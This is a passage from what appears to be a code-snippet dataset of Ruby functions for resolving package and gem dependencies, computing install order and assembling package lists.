verbose\n end\n \n raise PackageNotFoundError.new(name, version) unless pkg\n\n found << pkg\n\n # Look up dependencies of dependencies\n new_deps = Array(pkg.dependencies) + Array(pkg.dependencies_build)\n if has_local_package? pkg.name\n new_deps += Array(pkg.dependencies_development)\n new_deps.each { |dep| fetchable.add dep.first }\n end\n \n search_list += new_deps\n\n ret << pkg\n end\n\n ret\n end", "def install_order(arr)\n result = []\n\n hash_pkg = Hash.new {|k,v| v = []}\n\n arr.each do |tup|\n hash_pkg[tup[0]] += [tup[1]]\n end\n\n (1..hash_pkg.keys.max).each do |pkg|\n result << pkg unless hash_pkg.keys.include?(pkg)\n end\n\n\n until hash_pkg.empty?\n hash_pkg.each do |pkg, dep|\n if dep.all? {|d| result.include?(d)}\n result << pkg\n hash_pkg.delete(pkg)\n end\n end\n end\n\n result\nend", "def dependencies( names )\n names.each do |name|\n if calculation = fetch( name, nil )\n calculation.dependencies.each do |dependency|\n names << dependency unless names.include?( dependency )\n end\n end\n end\n end", "def resolve_dependencies(dependencies)\n dependencies.inject([]) do |deps, dep|\n deps + dep.determine(:ubuntu, :precise).map do |pkg, version|\n !version.nil? ? \"#{pkg} (#{version})\" : pkg\n end\n end.join(', ')\n end", "def gem_dependencies(list, gem_dependencies, options = {})\n gem_dependencies.each do |gd|\n if options['excludes'] && options['excludes'].to_s.split(',').include?(gd.name)\n next\n end\n\n gs = gd.matching_specs.first\n if gs\n unless list[gs.name]\n list[gs.name] = gs\n unless gs.dependencies.empty?\n list = gem_dependencies(list, gs.dependencies, options)\n end\n end\n else\n unless list[gd.name]\n list[gd.name] = Gem::Specification.new(\n gd.name,\n gd.requirements_list.last.scan(/[\\d\\.\\w]+/).first\n )\n rm_dep = remote_dependencies(gd.name, gd.requirements_list.last)\n unless rm_dep.empty?\n list = gem_dependencies(list, rm_dep, options)\n end\n end\n end\n end\n\n list\n end", "def legitimize! deps = entries\n specs = []\n\n deps.flatten.each do |dep|\n spec = case dep\n when Gem::Dependency then\n begin\n dep.to_spec\n rescue Gem::LoadError\n nil\n end\n when Isolate::Entry then\n dep.specification\n else\n raise \"unknown dep: #{dep.inspect}\"\n end\n\n if spec then\n specs.concat legitimize!(spec.runtime_dependencies)\n specs << spec\n end\n end\n\n specs.uniq\n end", "def dependencies(pkg)\n pkg.resolve_optional_dependencies\n deps_rock_packages = pkg.dependencies.map do |pkg_name|\n debian_name(Autoproj.manifest.package(pkg_name).autobuild)\n end.sort\n\n pkg_osdeps = Autoproj.osdeps.resolve_os_dependencies(pkg.os_packages)\n # There are limitations regarding handling packages with native dependencies\n #\n # Currently gems need to converted into debs using gem2deb\n # These deps dependencies are updated here before uploading a package\n # \n # Generation of the debian packages from the gems can be done in postprocessing step\n # i.e. see convert_gems\n \n deps_osdeps_packages = []\n native_package_manager = Autoproj.osdeps.os_package_handler\n _, native_pkg_list = pkg_osdeps.find { |handler, _| handler == native_package_manager }\n\n deps_osdeps_packages += native_pkg_list if native_pkg_list\n\n # Update global list\n @osdeps += deps_osdeps_packages\n\n non_native_handlers = pkg_osdeps.collect do |handler, pkg_list|\n if handler != native_package_manager\n [handler, pkg_list]\n end\n end.compact\n\n non_native_handlers.each do |pkg_handler, pkg_list|\n # Convert native ruby gems package names to rock-xxx \n if pkg_handler.kind_of?(Autoproj::PackageManagers::GemManager)\n pkg_list.each do |name,version|\n @ruby_gems << [name,version]\n deps_osdeps_packages << debian_ruby_name(name)\n end\n else\n raise ArgumentError, \"cannot package #{pkg.name} as it has non-native dependencies (#{pkg_list}) -- #{pkg_handler.class} #{pkg_handler}\"\n end\n end\n\n # Remove duplicates\n @osdeps.uniq!\n @ruby_gems.uniq!\n\n # Return rock packages and osdeps\n [deps_rock_packages, deps_osdeps_packages]\n end", "def install_order(arr)\n vertices = []\n dependencies = Hash.new([])\n\n # find max_id\n max_id = 0\n arr.each do |package|\n max_id = package[0] if package[0] > max_id\n max_id = package[1] if package[1] > max_id\n\n # map dependencies\n dependencies[package[0]] += [package[1]]\n end\n\n # complete the set\n (1..max_id).each do |n|\n dependencies[n] = [] unless dependencies[n].length > 0\n end\n\n # push to output\n until vertices.length == max_id\n dependencies.each do |k, depends|\n next if depends.nil?\n depends.reject! {|el| dependencies[el].nil?}\n if depends.empty?\n vertices << k\n dependencies[k] = nil\n end\n end\n end\n vertices\n\nend", "def getdeps(pkg)\n deps = []\n @pkg.each {|k, v| deps << k if v.include?(pkg) }\n\n return deps\n end", "def forced_packages_missing_candidates\n @forced_packages_missing_candidates ||=\n begin\n missing = []\n each_package do |package_name, new_version, current_version, candidate_version, magic_version|\n next if new_version.nil? || current_version.nil?\n\n if use_magic_version?\n if !magic_version && candidate_version.nil?\n missing.push(package_name)\n end\n else\n if !version_requirement_satisfied?(current_version, new_version) && candidate_version.nil?\n missing.push(package_name)\n end\n end\n end\n missing\n end\n end", "def parse_deps(input)\n matches = input.scan(/\\s+-\\s+\\[ \\]\\s+(\\S+)\\s+(\\S+\\s+[0-9.]+)/) || []\n\n gemspecs = matches.map do |match|\n {:name => match[0], :version => match[1]}\n end\n\n # NOTE: These gemspecs are gems that are not yet loaded. We don't know if\n # they are installed or not, so we don't know for sure if the\n # dependency will be met at runtime. So, we'll execute a gem command\n # to check to see if these are installed and ignore the ones that\n # already are.\n gemspecs.delete_if do |gemspec|\n cmd = \"gem list #{gemspec[:name]} -i -l\"\n if gemspec[:version]\n cmd << \" -v '#{gemspec[:version]}'\"\n end\n `#{cmd}` =~ /true/\n end\n\n return gemspecs\n end", "def compute_revdeps\n result = Hash.new { |h, k| h[k] = Set.new }\n each_autobuild_package do |pkg|\n pkg.dependencies.each do |pkg_name|\n result[pkg_name] << pkg.name\n end\n pkg.optional_dependencies.each do |pkg_name|\n result[pkg_name] << pkg.name\n end\n pkg.os_packages.each do |pkg_name|\n result[pkg_name] << pkg.name\n end\n end\n result\n end", "def dependent_gems(check_dev=true)\n out = []\n Gem::Specification.each do |spec|\n deps = check_dev ? spec.dependencies : spec.runtime_dependencies\n deps.each do |dep|\n if self.satisfies_requirement?(dep)\n sats = []\n find_all_satisfiers(dep) do |sat|\n sats << sat\n end\n out << [spec, dep, sats]\n end\n end\n end\n out\n end", "def find_packages(name, constraint = nil)\n # implement inside child\n end", "def requires\n sort!\n sources.map {|s| s.requires }.flatten - provides\n end", "def walk_down_dependencies(pkg_name, known_deps=Array.new)\n\talldeps = Array.new\n\t@total_deps[pkg_name].each { |m|\n\t\tunless alldeps.include?(m) || m.nil? || known_deps.include?(m) \n\t\t\talldeps = alldeps + walk_down_dependencies(m, alldeps)\n\t\tend\n\t\talldeps.push m\n\t}\n\talldeps.uniq!\n\talldeps.push pkg_name\n\t# puts alldeps.join(\", \") \n\treturn alldeps.compact \nend", "def recursive_dependencies(pkginfo)\n\n all_required_pkginfos = pkginfo.required_rock_packages\n\n all_recursive_deps = {:rock => [], :osdeps => [], :nonnative => [], :extra_gems => []}\n all_required_pkginfos.each do |pkginfo|\n pdep = filtered_dependencies(pkginfo)\n pdep.keys.each do |k|\n all_recursive_deps[k].concat pdep[k]\n end\n end\n all_recursive_deps.each_value { |a| a.uniq! }\n\n if !all_recursive_deps[:nonnative].empty?\n all_recursive_deps[:nonnative] = GemDependencies::resolve_all(all_recursive_deps[:nonnative]).keys\n end\n recursive_deps = all_recursive_deps.values.flatten.uniq\n end", "def test_resolve_dependencies\n Dir.mktmpdir('testbase') do |testbase|\n tpkg = Tpkg.new(:base => testbase, :sources => @pkgfiles)\n\n result = tpkg.resolve_dependencies([{:name => 'a', :type => :tpkg}], {:tpkg => {}, :native => {}}, ['a'])\n assert(result.has_key?(:solution))\n solution = result[:solution]\n\n # We should end up with a-1.0, b-1.0 (the specific one, not the generic\n # one), c-1.2 and d-1.2\n assert_equal(4, solution.length)\n good = ['a-1.0-1.tpkg', \"b-1.0-1-#{Metadata.clean_for_filename(tpkg.os.os)}.tpkg\", 'c-1.2-1.tpkg', 'd-1.2-1.tpkg']\n solution.each { |pkg| assert(good.any? { |g| pkg[:source].include?(g) }) }\n end\n end", "def all_selected_osdep_packages(validate = true)\n default_packages(validate).all_selected_osdep_packages(self)\n end", "def packages\n packages = []\n @repositories.each do |repo|\n repo_packages = repo.packages\n repo_packages.map { |p| packages.push(p) } unless repo_packages.empty?\n end\n packages\n end", "def find_all(req)\n res = []\n\n dep = req.dependency\n\n return res if @ignore_dependencies and\n @always_install.none? {|spec| dep.match? spec }\n\n name = dep.name\n\n dep.matching_specs.each do |gemspec|\n next if @always_install.any? {|spec| spec.name == gemspec.name }\n\n res << Gem::Resolver::InstalledSpecification.new(self, gemspec)\n end unless @ignore_installed\n\n if consider_local?\n matching_local = @local.values.select do |spec, _|\n req.match? spec\n end.map do |spec, source|\n Gem::Resolver::LocalSpecification.new self, spec, source\n end\n\n res.concat matching_local\n\n begin\n if local_spec = @local_source.find_gem(name, dep.requirement)\n res << Gem::Resolver::IndexSpecification.new(\n self, local_spec.name, local_spec.version,\n @local_source, local_spec.platform)\n end\n rescue Gem::Package::FormatError\n # ignore\n end\n end\n\n res.delete_if do |spec|\n spec.version.prerelease? and not dep.prerelease?\n end\n\n res.concat @remote_set.find_all req if consider_remote?\n\n res\n end", "def build_dependencies(pkginfo)\n dependencies = []\n pkgdeps = pkginfo.dependencies\n deps = pkgdeps[:rock_pkginfo].select do |pkginfo|\n pkg_name = debian_name(pkginfo, true)\n !rock_release_platform.ancestorContains(pkg_name)\n end .map { |p| p.name }\n\n gems = pkgdeps[:nonnative].select do |gem,version|\n pkg_ruby_name = debian_ruby_name(gem, false)\n pkg_prefixed_name = debian_ruby_name(gem, true)\n\n !( rock_release_platform.ancestorContains(gem) ||\n rock_release_platform.ancestorContains(pkg_ruby_name) ||\n rock_release_platform.ancestorContains(pkg_prefixed_name))\n end .map{ |p| p[0] }\n\n deps.concat(gems)\n deps\n end", "def requires\n require_items.collect(&:package)\n end", "def sort_by_package_sets(packages, pkg_set_order)\n raise RuntimeError, \"#{self.class} needs to overwrite sort_by_package_sets\"\n end", "def packages_from_require(rpmdep)\n refresh\n @rpmdb.whatprovides(rpmdep)\n end", "def packages_missing_candidates\n @packages_missing_candidates ||=\n begin\n missing = []\n each_package do |package_name, new_version, current_version, candidate_version, magic_version|\n missing.push(package_name) if magic_version.nil? && candidate_version.nil?\n end\n missing\n end\n end", "def packages\n # don't include go std packages\n # don't include packages under the root project that aren't vendored\n go_list_deps\n .reject { |pkg| go_std_package?(pkg) }\n .reject { |pkg| local_package?(pkg) }\n end", "def get_requirements\n result = `rake gems 2>&1`\n parse_required(result) + parse_missing(result) + parse_deps(result)\n end", "def pdns_package_module_requirements\n modules = node['pdns']['authoritative']['package']['backends']\n required_packages = []\n modules.each do |mod|\n case mod\n when 'gmysql'\n required_packages << 'pdns-backend-mysql'\n when 'gpgsql'\n required_packages << 'pdns-backend-pgsql'\n when 'gsqlite3'\n required_packages << 'pdns-backend-sqlite3'\n required_packages << 'sqlite3'\n when 'pipe'\n required_packages << 'pdns-backend-pipe'\n end\n end\n required_packages\nend", "def computeDependences(list)\n dependences = OCMSet.new\n\n OCMSet::SECTIONS.each do |section|\n @require[section].each do |req|\n found = false\n\n list.each do |iface|\n for context in iface.provide do\n if context[section].include?(req) then\n dependences[section] << iface\n found = true\n break\n end\n end\n end\n\n raise \"#{@id.name}: no dependence found for #{req.name}.\" unless found\n end\n end\n\n return dependences.values.flatten.uniq\n end", "def requires\n @requires ||= @dependencies.map { |e| make_path(e.split(RUBY_PKG_SEP)) }.sort.uniq\n end", "def infer_package(names)\n # Package is longest common prefix ending in '.', if any.\n if not names.empty?\n min, max = names.minmax\n last_common_dot = nil\n min.size.times { |i|\n if min[i] != max[i] then break end\n if min[i] == \".\" then last_common_dot = i end\n }\n if last_common_dot\n return min.slice(0, last_common_dot)\n end\n end\n\n nil\n end", "def dependency_tree(args = {}, &bl)\n dependencies = {}\n args = {:recursive => true,\n :dev_deps => true,\n :matching => :latest,\n :dependencies => dependencies}.merge(args)\n\n process = []\n deps.each do |dep|\n resolved = nil\n begin\n resolved = Polisher::Gem.matching(dep, args[:matching])\n rescue\n end\n yield self, dep, resolved\n process << resolved unless resolved.nil?\n end\n\n process.each { |dep|\n dependencies.merge!(dep.dependency_tree(args, &bl))\n }\n\n dependencies\n end", "def collect_dependencies(dependency, known_dependencies: {})\n dep_spec = dependency.matching_specs\n return known_dependencies if dep_spec.empty?\n\n dep_spec = dep_spec.first\n known_dependencies[dep_spec.name] = dep_spec.version\n dep_spec.dependencies.each do |dep|\n unless known_dependencies.has_key?(dep.name)\n collect_dependencies(dep, known_dependencies: known_dependencies)\n end\n end\n known_dependencies\n end", "def core_fetch_dependencies(deps, verbose)\n deps.each do |pkg_name, pkg_version|\n core_fetch_dependency pkg_name, pkg_version, :runtime, verbose\n end\n end", "def partition_dependencies(dependencies, gem_dir)\n system_specs, local_specs, missing_deps = [], [], []\n if gem_dir && File.directory?(gem_dir)\n gem_dir = File.expand_path(gem_dir)\n ::Gem.clear_paths; ::Gem.path.unshift(gem_dir)\n ::Gem.source_index.refresh!\n dependencies.each do |dep|\n gemspecs = ::Gem.source_index.search(dep)\n local = gemspecs.reverse.find { |s| s.loaded_from.index(gem_dir) == 0 }\n if local\n local_specs << local\n elsif gemspecs.last\n system_specs << gemspecs.last\n else\n missing_deps << dep\n end\n end\n ::Gem.clear_paths\n else\n dependencies.each do |dep|\n gemspecs = ::Gem.source_index.search(dep)\n if gemspecs.last\n system_specs << gemspecs.last\n else\n missing_deps << dep\n end\n end\n end\n [system_specs, local_specs, missing_deps]\n end", "def relevant_packages\n packages.select { |p| p['version'] == version }\n end", "def add_dependencies(groups, dependencies) # :nodoc:\n return unless (groups & @without_groups).empty?\n\n dependencies.each do |dep|\n @set.gem dep.name, *dep.requirement.as_list\n end\n end", "def dependency_versions(args = {}, &bl)\n versions = args[:versions] || {}\n check_deps = args[:dev] ? dev_deps : deps\n\n check_deps.each do |dep|\n unless versions.key?(dep.name)\n begin\n gem = Polisher::Gem.retrieve(dep.name)\n versions.merge! gem.versions(args, &bl)\n rescue\n unknown = Polisher::VersionChecker.unknown_version(:all, dep.name, &bl)\n versions.merge! dep.name => unknown\n end\n end\n\n args[:versions] = versions\n end\n\n versions\n end", "def gem_requirements_to_array(*deps)\n deps.map do |dep|\n dep.requirement.requirements.map do |op, version|\n \"#{op} #{version}\"\n end.sort\n end\n end", "def get_all_requires(code = @code)\n if code.is_a?(Array) then\n requires = (code.select { |sub| is_require?(sub) }).map! do |sub|\n get_require(sub)\n end\n code.each do |sub|\n requires += get_all_requires(sub)\n end\n return requires\n else\n return []\n end\n end", "def best_package_matching(patterns)\n patterns = [patterns] unless patterns.kind_of?(Enumerable)\n patterns.each do |pattern|\n packages = search_packages(pattern)\n next if packages.empty? \n best = packages.sort_by { |key, value|\n [\n pattern.kind_of?(Regexp) ? ((key.index(pattern) == 0) ? 1 : 0) :\n ((key == pattern) ? 1 : 0),\n value.split(/[.-]/)\n ]\n }.last \n return { :name => best.first, :version => best.last }\n end\n nil\n end", "def packages(*names)\n names.empty? ? @packages : @packages = names\n end", "def dependency_versions(args = {}, &bl)\n versions = args[:versions] || {}\n check_deps = args[:dev] ? dev_deps : deps\n\n check_deps.each do |dep|\n unless versions.key?(dep.name)\n begin\n gem = Polisher::Gem.retrieve(dep.name)\n versions.merge! gem.versions(args, &bl)\n rescue\n unknown = Polisher::VersionChecker.unknown_version(:all, dep.name, &bl)\n versions.merge! dep.name => unknown\n end\n end\n\n args[:versions] = versions\n end\n\n versions\n end", "def find_all_satisfiers(dep)\n Gem::Specification.each do |spec|\n yield spec if spec.satisfies_requirement? dep\n end\n end", "def populate_ks_pkg_list(options)\n pkg_list = []\n if options['service'].to_s.match(/centos|fedora|rhel|sl_|oel/)\n if not options['service'].to_s.match(/fedora/)\n pkg_list.push(\"@base\")\n end\n pkg_list.push(\"@core\")\n if options['service'].to_s.match(/[a-z]_6/)\n pkg_list.push(\"@console-internet\")\n pkg_list.push(\"@system-admin-tools\")\n end\n if not options['service'].to_s.match(/sl_6|[a-z]_5|fedora/)\n pkg_list.push(\"@network-file-system-client\")\n end\n if options['service'].to_s.match(/centos_[6,7]|fedora|sl_[6,7]/)\n if not options['service'].to_s.match(/fedora_2[3-9]|centos_6/)\n pkg_list.push(\"redhat-lsb-core\")\n if not options['service'].to_s.match(/rhel_[6,7]|oel_[6,7]|centos_7/)\n pkg_list.push(\"augeas\")\n pkg_list.push(\"tk\")\n end\n end\n if not options['service'].to_s.match(/fedora|_[6,7,8]/)\n pkg_list.push(\"ruby\")\n pkg_list.push(\"ruby-irb\")\n pkg_list.push(\"rubygems\")\n pkg_list.push(\"ruby-rdoc\")\n pkg_list.push(\"ruby-devel\")\n end\n if not options['service'].to_s.match(/centos_6/)\n pkg_list.push(\"augeas-libs\")\n pkg_list.push(\"ruby-libs\")\n end\n end\n if not options['service'].to_s.match(/fedora|el_[7,8]|centos_[6,7,8]/)\n pkg_list.push(\"grub\")\n pkg_list.push(\"libselinux-ruby\")\n end\n if options['service'].to_s.match(/el_[7,8]|centos_[7,8]/)\n pkg_list.push(\"iscsi-initiator-utils\")\n end\n if not options['service'].to_s.match(/centos_6/)\n pkg_list.push(\"e2fsprogs\")\n pkg_list.push(\"lvm2\")\n end\n if not options['service'].to_s.match(/fedora/)\n pkg_list.push(\"kernel-devel\")\n if not options['service'].to_s.match(/centos_6/)\n pkg_list.push(\"automake\")\n pkg_list.push(\"autoconf\")\n pkg_list.push(\"lftp\")\n pkg_list.push(\"avahi\")\n end\n end\n pkg_list.push(\"kernel-headers\")\n pkg_list.push(\"dos2unix\")\n pkg_list.push(\"unix2dos\")\n if not options['service'].to_s.match(/fedora_2[4-9]|centos_6/)\n pkg_list.push(\"zlib-devel\")\n end\n if not options['service'].to_s.match(/fedora/)\n if not options['service'].to_s.match(/centos_6/)\n pkg_list.push(\"libgpg-error-devel\")\n pkg_list.push(\"libxml2-devel\")\n pkg_list.push(\"libgcrypt-devel\")\n pkg_list.push(\"xz-devel\")\n pkg_list.push(\"libxslt-devel\")\n pkg_list.push(\"libstdc++-devel\")\n end\n if not options['service'].to_s.match(/rhel_5|fedora|centos_6/)\n pkg_list.push(\"perl-TermReadKey\")\n pkg_list.push(\"git\")\n pkg_list.push(\"perl-Git\")\n end\n pkg_list.push(\"gcc\")\n pkg_list.push(\"gcc-c++\")\n if not options['service'].to_s.match(/centos_|el_8/)\n pkg_list.push(\"dhcp\")\n end\n pkg_list.push(\"xinetd\")\n pkg_list.push(\"tftp-server\")\n end\n if not options['service'].to_s.match(/el_|centos_/)\n pkg_list.push(\"libgnome-keyring\")\n end\n if not options['service'].to_s.match(/rhel_5/)\n pkg_list.push(\"perl-Error\")\n end\n pkg_list.push(\"httpd\")\n if options['service'].to_s.match(/fedora/)\n pkg_list.push(\"net-tools\")\n pkg_list.push(\"bind-utils\")\n end\n if not options['service'].to_s.match(/fedora|el_8|centos_8/)\n pkg_list.push(\"ntp\")\n end\n pkg_list.push(\"rsync\")\n if options['service'].to_s.match(/sl_6/)\n pkg_list.push(\"-samba-client\")\n end\n end\n return pkg_list\nend", "def calcdeps(ns, namespace, filenames, prev = [])\n unless source = ns[namespace]\n msg = \"#{prev.last[:filename]}: \" rescue ''\n msg += \"Namespace #{namespace.dump} not found.\"\n raise msg\n end\n if prev.include? source\n return\n else\n prev.push source\n end\n return if filenames.include?(source[:filename])\n source[:require].each do |required|\n calcdeps ns, required, filenames, prev\n end\n filenames.push source[:filename]\n end", "def dependencies\n return @dependencies unless @dependencies.nil?\n @dependencies = [ ]\n lockfile.each_line do |line|\n if line =~ /^\\s{4}([-\\w_.0-9]+)\\s*\\((.*)\\)/\n @dependencies << [$1, $2]\n end\n end\n @dependencies\n end", "def prefetch reqs\n names = reqs.map { |r| r.dependency.name }\n needed = names.find_all { |d| !@data.key?(d) }\n\n return if needed.empty?\n\n uri = @dep_uri + \"?gems=#{needed.sort.join ','}\"\n str = Gem::RemoteFetcher.fetcher.fetch_path uri\n\n Marshal.load(str).each do |ver|\n @data[ver[:name]] << ver\n end\n end", "def find_packages\n declared_packages.collect do |package|\n guess = ::Albacore::PackageRepo.new(%w|./packages ./src/packages|).find_latest package.id\n debug \"#{name}: guess: #{guess} [albacore: project]\"\n guess\n end\n end", "def resolve_packages\n installation_manifest =\n Autoproj::InstallationManifest.from_workspace_root(ws.root_dir)\n installation_manifest.each_package.to_a +\n installation_manifest.each_package_set.to_a\n end", "def dependencies(source, done=[])\n d_path = source.ext(\"d\") # get the dependency file\n Rake::Task[d_path].invoke # ensure the dependency file exists\n d_file = IO.read(d_path) # read the dependencies from dependency file\n d_file = d_file.split(': ')[1].gsub(\"\\n\",'').gsub('\\\\ ','').gsub(/\\s+/,' ').split(' ') # get a list of dependencies\n d_list = [] # list of dependencies\n # only save dependencies which are in our source directories\n d_file.each do |d|\n SRC_DIRS.each do |dir|\n if File.dirname(d)==dir then\n d_list << d\n end\n end\n end\n # get the dependencies of these dependencies, if we don't know them already\n done << source.ext(\"o\")\n done.uniq!\n d_list.each do |d|\n d = d.ext(\"o\")\n next if done.include? d\n done += dependencies(d, done)\n end\n done.uniq!\n return done\nend", "def packages\n return @packages if @packages\n\n @packages = resolve_packages.map do |pkg|\n next if ignored?(pkg)\n\n package_set = pkg.kind_of? Autoproj::InstallationManifest::PackageSet\n pkg = pkg.to_h\n local_dir = if package_set\n pkg[:raw_local_dir]\n else\n pkg[:importdir] || pkg[:srcdir]\n end\n\n Autoproj::Daemon::PackageRepository.new(\n pkg[:name] || pkg[:package_set],\n pkg[:vcs],\n package_set: package_set,\n local_dir: local_dir,\n ws: ws\n )\n end.compact\n @packages\n end", "def get_all_uses_cases_from_packages(packages)\n package_usecases = Hash.new\n packages.each do |package|\n use_cases = get_use_cases_from_package(package)\n package_usecases[package] = use_cases\n end\n array = []\n package_usecases.each_value{|value| value.each do |v| array << v end} \n return array\n end", "def deps(pkg) # FIXME: \"*** PACKAGE MAY NOT BE DELETED *** \"\n if pkg.status != :available\n components = `#{@cmd} -n #{pkg.name}`.split(\"Requires:\\n\")\n if components.size > 1\n return components[1].strip\n else\n return \"[No depends]\"\n end\n else\n if File.exist?(File.expand_path(\"~/Library/Application Support/Guigna/pkgsrc/INDEX\"))\n # TODO: parse INDEX\n end\n \"[Not available]\"\n end\n end", "def dependencies_for(specification)\n []\n end", "def dependency_order\n result = []\n disabled = {}\n predecessors = build_predecessors\n while disabled.size < @specs.size\n\tcandidate = @specs.find { |spec|\n\t ! disabled[spec.full_name] &&\n\t active_count(predecessors[spec.full_name], disabled) == 0\n\t}\n\tif candidate\n\t disabled[candidate.full_name] = true\n\t result << candidate\n\telsif candidate = @specs.find { |spec| ! disabled[spec.full_name] }\n\t # This case handles circular dependencies. Just choose a\n\t # candidate and move on.\n\t disabled[candidate.full_name] = true\n\t result << candidate\n\telse\n\t # We should never get here, but just in case we will terminate \n\t # the loop.\n\t break\n\tend\n end\n result\n end", "def generate_pkg_deps\n shellout!(\"pkgdepend generate -md #{source_dir} #{pkg_manifest_file}.2 | pkgfmt > #{pkg_manifest_file}.3\")\n shellout!(\"pkgmogrify -DARCH=`uname -p` #{pkg_manifest_file}.3 #{transform_file} | pkgfmt > #{pkg_manifest_file}.4\")\n shellout!(\"pkgdepend resolve -m #{pkg_manifest_file}.4\")\n shellout!(\"pkgmogrify #{pkg_manifest_file}.4.res #{versionlock_file} > #{pkg_manifest_file}.5.res\")\n end", "def select_gems(groups: nil, without_groups: nil)\n # First, select the gems that match\n result = {}\n gems.each do |name, g|\n dep_groups = g[:declared_groups] - [ :only_a_runtime_dependency_of_other_gems ]\n dep_groups &= groups if groups\n dep_groups -= without_groups if without_groups\n if dep_groups.any?\n result[name] ||= g\n g[:dependencies].each do |dep|\n result[dep] ||= gems[dep]\n end\n end\n end\n result\n end", "def install_order(arr)\n pairs = {}\n queue = []\n sorted = [] \n arr.each do |pair|\n pairs[pair[0]] = pair[1]\n end \n packages = (1..pairs.keys.max).to_a\n packages.each do |package|\n if !pairs.keys.include?(package)\n queue.push(package)\n end \n end \n\n until queue.empty?\n package = queue.shift \n sorted.push(package)\n neighbors = []\n\n pairs.each do |key, value|\n if value == package\n neighbors.push(key)\n pairs.delete(key)\n end \n end\n neighbors.each do |package|\n if !pairs.keys.include?(package)\n queue.push(package)\n end \n end \n end \n\n if packages.length == sorted.length \n return sorted\n else \n return []\n end \nend", "def packages\n @packages ||= []\n end", "def packages\n @packages ||= []\n end", "def unused_dependencies_list\n imports = all_unique_imports.map { |import| import.split.last }\n dependency_list - imports\n end", "def dependency_versions(args = {}, &bl)\n versions = {}\n args = {:recursive => true, :dev_deps => true, :versions => versions}.merge(args)\n deps.each do |dep|\n gem = Polisher::Gem.retrieve(dep.name)\n versions.merge!(gem.versions(args, &bl))\n end\n versions\n end", "def find_dependencies(env)\n args = [] if (env = env.dup).sub!(REGEXP_DEVPKG,'') # are we in compile mode?\n return [[], [], args] if args && env.empty?\n\n require 'rubygems/remote_fetcher'\n @@deps = YAML.load(fetch(env))['gems'] unless defined?(@@deps)\n @@deps.key?(spec.name) or return(args ? [[], [], args] : nil)\n\n # find dependencies\n case deps = @@deps[spec.name]\n when nil, \"*\" # for nil or '*', use the default extension name\n deps = [\"*\"]\n when String # string of space-delimited packages and extensions\n when Array # array of packages and extensions\n when Hash # hash of packages and extensions, indexed by version requirements\n reqs, deps = deps.find do |reqs, info| # deps is an array or space-delimited string\n Gem::Requirement.new(reqs.split(',')).satisfied_by?(spec.version)\n end\n reqs or return # can't find the right version\n deps ||= [\"*\"] # deps are nil, use the default extension name\n end\n deps = deps.strip.split(/\\s+/) if deps.is_a?(String)\n deps = deps.compact.uniq\n\n # helpful variables\n bcwd = Dir.pwd\n benv = File.dirname(env.split(/[?;#]/,2).first)\n name = \"#{spec.full_name}.tar.gz\"\n\n # grok dependencies\n pkgs, exts = [], []\n deps.each do |item|\n if item.include?(\"*\") || item =~ REGEXP_SCHEMA || item.include?(\".tar.gz\")\n exts << item unless args\n elsif item =~ REGEXP_DEVPKG\n pkgs << $' if args\n elsif item =~ REGEXP_DEVARG\n args << $' if args\n else\n pkgs << item unless args\n end\n end\n exts.map! do |item|\n case item\n when \"*\" then item = File.join(benv, name) # use complete default tarball name\n when /\\A\\*/ then item[0,1] = benv # path relative to env variable\n when /\\A[^\\/]/ then item[0,0] = bcwd + \"/\" # path relative to current directory\n end\n item.gsub(\"*\", name) # swap inline wildcards with default tarball name\n end\n [pkgs, exts, args]\n end", "def sorted_deps\n dep_names = (dependencies.keys + dependencies_development.keys).uniq\n ret = []\n\n dep_names.each do |dep_name|\n dep = local_deps.find { |x| x.name == dep_name }\n add_sorted_dep(dep, local_deps, :both, ret)\n end\n ret\n end", "def bundler_dependencies_for(bundler_runtime, *groups); end", "def find_all req\n res = []\n\n versions(req.name).each do |ver|\n if req.dependency.match? req.name, ver[:number]\n res << Gem::DependencyResolver::APISpecification.new(self, ver)\n end\n end\n\n res\n end", "def vendor(dependencies)\n return nil if dependencies.nil? || dependencies.empty?\n @dep_list = Resolver.resolve(dependencies, @cache, @cwd, @backend)\n end", "def satisfy_all(constraints, versions)\n constraints = Array(constraints).collect do |con|\n con.is_a?(Gem::Requirement) ? con : Gem::Requirement.new(con.to_s)\n end.uniq\n\n versions = Array(versions).collect do |ver|\n ver.is_a?(Gem::Version) ? ver : Gem::Version.new(ver.to_s)\n end.uniq\n\n versions.select do |ver|\n constraints.all? { |constraint| constraint.satisfied_by?(ver) }\n end\n end", "def all_selected_source_packages(validate = true)\n default_packages(validate).all_selected_source_packages(self)\n end", "def filtered_dependencies(pkginfo, with_rock_release_prefix = true)\n target_platform = @packager.target_platform\n this_rock_release = TargetPlatform.new(@packager.rock_release_name, target_platform.architecture)\n\n deps_rock_pkginfos = pkginfo.dependencies[:rock_pkginfo].dup\n deps_osdeps_packages = pkginfo.dependencies[:osdeps].dup\n non_native_dependencies = pkginfo.dependencies[:nonnative].dup\n\n if target_platform.distribution_release_name\n # CASTXML vs. GCCXML in typelib\n if pkginfo.name =~ /typelib$/\n # add/remove the optional dependencies on the\n # rock-package depending on the target platform\n # there are typelib versions with and without the\n # optional depends. we know which platform requires\n # a particular dependency.\n deps_rock_pkginfos.delete_if do |pkginfo|\n pkginfo.name == \"castxml\" || pkginfo.name == \"gccxml\"\n end\n\n if target_platform.contains(\"castxml\")\n deps_osdeps_packages.push(\"castxml\")\n elsif target_platform.contains(\"gccxml\")\n #todo: these need to checked on the other platforms\n deps_osdeps_packages.push(\"gccxml\")\n else\n raise ArgumentError, \"TargetPlatform: #{target_platform} does neither support castxml nor gccml - cannot build typelib\"\n end\n end\n\n # Filter out optional packages, e.g. llvm and clang for all platforms where not explicitly available\n deps_osdeps_packages = deps_osdeps_packages.select do |name|\n result = true\n Packaging::Config.packages_optional.each do |pkg_name|\n regex = Regexp.new(pkg_name)\n if regex.match(name)\n result = target_platform.contains(name)\n end\n end\n result\n end\n\n # Filter out excluded packages, e.g. libqwt5-qt4-dev\n deps_osdeps_packages = deps_osdeps_packages.select do |name|\n result = true\n Packaging::Config.packages_excluded.each do |pkg_name|\n regex = Regexp.new(pkg_name)\n if regex.match(name)\n Packager.info \"#{pkginfo.name} excluding osdeps #{pkg_name} as dependency\"\n result = false\n end\n end\n result\n end\n\n # Filter ruby versions out -- we assume chroot has installed all\n # ruby versions\n #\n # This is a workaround, since the information about required packages\n # comes from the build server platform and might not correspond\n # with the target platform\n #\n # Right approach: bootstrap within chroot and generate source packages\n # in the chroot\n #deps_osdeps_packages = deps[:osdeps].select do |name|\n deps_osdeps_packages = deps_osdeps_packages.select do |name|\n name !~ 